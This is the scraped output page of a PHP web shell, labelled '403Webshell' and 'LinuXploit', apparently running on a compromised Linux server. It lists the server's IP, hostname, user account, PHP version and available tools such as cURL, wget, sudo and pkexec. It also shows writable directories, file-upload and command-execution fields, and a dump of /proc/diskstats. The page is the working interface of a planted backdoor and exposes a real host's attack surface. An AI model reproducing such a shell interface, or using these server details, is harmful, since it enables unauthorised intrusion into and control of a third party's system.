403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.76
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/diskstats
   7       0 loop0 9889 0 219952 2626 0 0 0 0 0 25728 2626 0 0 0 0 0 0
   7       1 loop1 35421 0 836108 13683 0 0 0 0 0 111996 13683 0 0 0 0 0 0
   7       2 loop2 3882 0 315952 767 0 0 0 0 0 15624 767 0 0 0 0 0 0
   7       3 loop3 6763 0 518894 2243 0 0 0 0 0 27612 2243 0 0 0 0 0 0
   7       4 loop4 8010 0 98582 3134 0 0 0 0 0 22276 3134 0 0 0 0 0 0
   7       5 loop5 67 0 908 34 0 0 0 0 0 96 34 0 0 0 0 0 0
   7       6 loop6 11603821 0 1218277022 26349796 0 0 0 0 0 69488808 26349796 0 0 0 0 0 0
   7       7 loop7 189885 0 19847718 219093 0 0 0 0 0 938772 219093 0 0 0 0 0 0
 252       0 vda 680189362 380141796 62585251582 593922827 9464498 8596819 191271012 16338052 0 207575872 610827408 165359 0 146500668 36276 399599 530252
 252       1 vda1 680188514 380139484 62585216733 593922644 9464496 8596819 191271010 16338042 0 207575640 610296962 165357 0 146299392 36275 0 0
 252      14 vda14 187 0 1730 37 0 0 0 0 0 104 37 0 0 0 0 0 0
 252      15 vda15 240 2312 19448 78 2 0 2 10 0 168 89 2 0 201276 0 0 0
 252      16 vdb 160 0 723 43 0 0 0 0 0 332 43 0 0 0 0 0 0
   7       8 loop8 11 0 28 0 0 0 0 0 0 12 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit